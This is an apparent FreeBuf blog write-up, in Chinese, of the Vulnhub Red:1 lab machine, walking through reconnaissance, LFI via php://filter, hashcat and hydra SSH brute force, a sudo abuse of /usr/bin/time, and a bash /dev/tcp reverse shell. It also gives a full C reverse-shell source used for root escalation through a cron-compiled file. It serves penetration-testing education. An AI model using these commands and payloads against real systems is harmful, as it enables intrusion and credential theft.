freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Vulnhub Red:1靶机实战,真实的靶机与红队在线solo
2022-11-11 14:56:29
所属地 浙江省

环境搭建

Red:1靶机 平台:virtualbox 网卡:仅主机模式:virtual-host-only

kali攻击机 平台:vmware workstation 网卡:桥接模式:virtual-host-only
保证两台主机处于同一网段或路由互通即可。

信息收集

使用kali arp-scan扫描本网段主机。

arp-scan -l

图片.png
探测到靶机真实IP为192.168.56.104。接下来使用nmap扫描相关开放端口及服务。

nmap -T4 -A -v 192.168.56.104

图片.png
靶机开放端口22和80,对应ssh和http服务。

访问web网页,发现是一个被篡改页面。
图片.png
提示该页面已经被红方侵入,同时界面上提示wordpress,wappalyze也扫描到使用了wordpress CMS。同时界面点击search会跳转到一个http://redrocks.win。
扫描网站目录尝试寻找后台,此处需要修改hosts文件,否则会出现无法访问的情况。

图片.png
访问到了redorcks.win网页,同样是一个被red篡改的wordpress网页。
图片.png
但是在/hello-world网页的源码中发现了这样一段话,还在寻找吗?也许你应该向Miessler寻求帮助,但是无所谓,反正你也看不懂。
图片.png
那么就搜索一下Miessler相关的消息,在github上找到了一个相关的账号,发布了一个SecLists工具。工具提示:

SecLists 是安全测试人员的伴侣。它是安全评估期间使用的多种类型列表的集合,收集在一个地方。 列表类型包括用户名、密码、URL、敏感数据模式、模糊测试payload、WebShell 等等。 目标是使安全测试人员能够将此存储库拉到一个新的测试框上,并可以访问可能需要的每种类型的列表。

SecLists是OWASP维护的一个安全信息列表集合。该集合包括了用于渗透的各种类型的列表。这些列表包含了237个字典文件以及常用的Web Shell攻击载荷。字典文件类型众多,包括用户名、密码、域名、敏感数据特征码、模糊测试载荷等。
图片.png
下载下来看一下,在Discovery/Web-Content文件夹下存在许多的字典,被攻陷网站从一开始就提示说有后门只是找不到,正好可以利用这些字典来跑。同时wordpress是搭建在Apache上的,使用php语言,所以使用字典中的CommonBackdoors-PHP.fuzz.txt字典来跑。
图片.png
这里使用gobuster工具来操作。

gobuster dir -w /home/kali/Desktop/SecLists-master/Discovery/Web-Content/CommonBackdoors-PHP.fuzz.txt -x .php -u http://redrocks.win
    dir:传统的目录爆破模式;
    dns:DNS子域名爆破模式;
    vhost:虚拟主机爆破模式;

图片.png
扫描到一个NetworkFileManagerPHP.php文件,状态码为500。尝试访问发现为空白,但是页面是存在的,说明可能存在LFI。
图片.png

文件包含

可以配合模糊查询来测试参数,此处将字典下载到了本地使用burpsuite进行爆破。

wfuzz -c -u http://redrocks.win/NetworkFileManagerPHP.php?FUZZ=ls -w /home/kali/Desktop/SecLists-master/Discovery/Web-Content/burp-parameter-names.txt

图片.png
图片.png
通过intruder模块,成功跑出隐藏的参数是key,并且确实存在LFI,使用/etc/passwd成功查看到账户信息。

图片.png
那么就可以配合PHP伪协议来访问对应的网页源码。

?key=php://filter/convert.base64-encode/resource=NetworkFileManagerPHP.php

图片.png
将返回页面的内容进行base64解码

图片.png
图片.png
解出了一串代码,其中还有一部分base64继续解码得到

That password alone won't help you! Hashcat says rules are rules。

仅凭那个密码对你没有任何帮助!Hashcat说规则就是规则。

虽然没有什么用,但是因为提到了hashcat,那么就可以寻找账号密码信息,而wordpressCMS已知的配置文件是wp-config.php。

还是利用PHP伪协议读取文件源码然后base64解码。

?key=php://filter/convert.base64-encode/resource=wp-config.php

图片.png
将回显的内容进行base64解密,得到了配置文件,其中有了一个MySQL数据库的账号和密码。

图片.png

密码破解

那么就可以尝试登录SSH,将密码保存到文件中,然后使用hashcat规则破解,因为之前提示说拿到密码也没有用,hashcat才是规则。

hashcat --stdout pass.txt -r /usr/share/hashcat/rules/best64.rule > passlist.txt

图片.png
得到了一堆密码,那么就利用hydra进行SSH爆破。

hydra -l john -P passlist.txt 192.168.56.104 ssh

图片.png
!!Gn1k_3r3hwl4m_v3R尝试连接成功。
图片.png
但是在shell中一直会弹出redrock留的话语。
图片.png
在操作一段时间shell之后发现自动掉线,说明有挖好的坑。
同时发现密码会随机变,掉线之后就需要再拿hydra跑新密码,这次使用了Gn1k_3r3hwl4m_v3R!!00。登录之后有一个note_from_red.txt文件。
图片.png
看来是在cat处做了手脚,查看权限发现是ippsec用户执行了/usr/bin/time。
图片.png
由于一直掉线,那么就配合反弹shell,在登录之后重新回弹一个shell给我们。再次使用hydra爆破密码,登录后创建一个反弹shell。

sudo -u ippsec /usr/bin/time /bin/bash
bash -i >& /dev/tcp/192.168.56.103/6789 0>&1
python3 -c 'import pty;pty.spawn("/bin/bash")'

图片.png
图片.png
kali端成功回弹,这样就不怕他再踢人掉线了。

系统提权

既然shell已经稳定,那么就剩最后一步提权了,目前是普通用户。同时解决一下之前的red一直发骚扰消息的问题,既然隔一段时间就会弹一句,并且定时踢出会话,那么一定是有计划任务一类在执行。但是当前普通用户看不到root权限的计划任务,这里就可以配合pspy64s这个脚本,可以无需root权限来监控进程。由于都是仅主机模式,所以只能是本机先下载传递到kali,再在kali上开启http服务,在靶机上进行wget下载操作。
图片.png

wget http://192.168.56.103:8000/pspy64s

图片.png
增加可执行权限并执行。
图片.png
找到了backdoor的后门,查看该supersecretfileuc.c文件的内容。
图片.png
图片.png
网站目录下的wordpress目录内有个.git目录,里面有两个文件,rev和supersecretfileuc.c,rev是supersecretfileuc.c编译的程序,执行会输出信息,就是red时不时弹出的骚扰信息,将rev删除后过段时间会重新编译,并且是root权限。所以删掉这两个文件,用revshells.com网站生成C的反弹shell程序,通过http服务将其传到目标机器写入supersecretfileuc.c。

此处提权需要进行C的提权,配合https://www.revshells.com/。

#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int main(void){
    int port = 6789;
    struct sockaddr_in revsockaddr;

    int sockt = socket(AF_INET, SOCK_STREAM, 0);
    revsockaddr.sin_family = AF_INET;
    revsockaddr.sin_port = htons(port);
    revsockaddr.sin_addr.s_addr = inet_addr("192.168.56.103");

    connect(sockt, (struct sockaddr *) &revsockaddr, 
    sizeof(revsockaddr));
    dup2(sockt, 0);
    dup2(sockt, 1);
    dup2(sockt, 2);

    char * const argv[] = {"/bin/bash", NULL};
    execve("/bin/bash", argv, NULL);

    return 0;
}

之后进入/var/www/wordpress/.git目录,上传supersecretfileuc.c文件。
图片.png
同时开启监听端口,等待连接,拿到shell便是root权限,便可以寻找最后的flag。
图片.png
最终在/root/root.txt文件中得到flag。
图片.png
以及用户的flag,在oxdf用户下。
图片.png

靶机总结

个人心中vulnhub完美的靶机,很真实的还原了在面临黑客入侵时如何一步一步反败为胜,其中很多的知识点也是初次见到,与“黑客”的心理博弈也是一大亮点。

# 渗透测试 # web安全 # CTF # VulnHub # vulnhub靶机
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录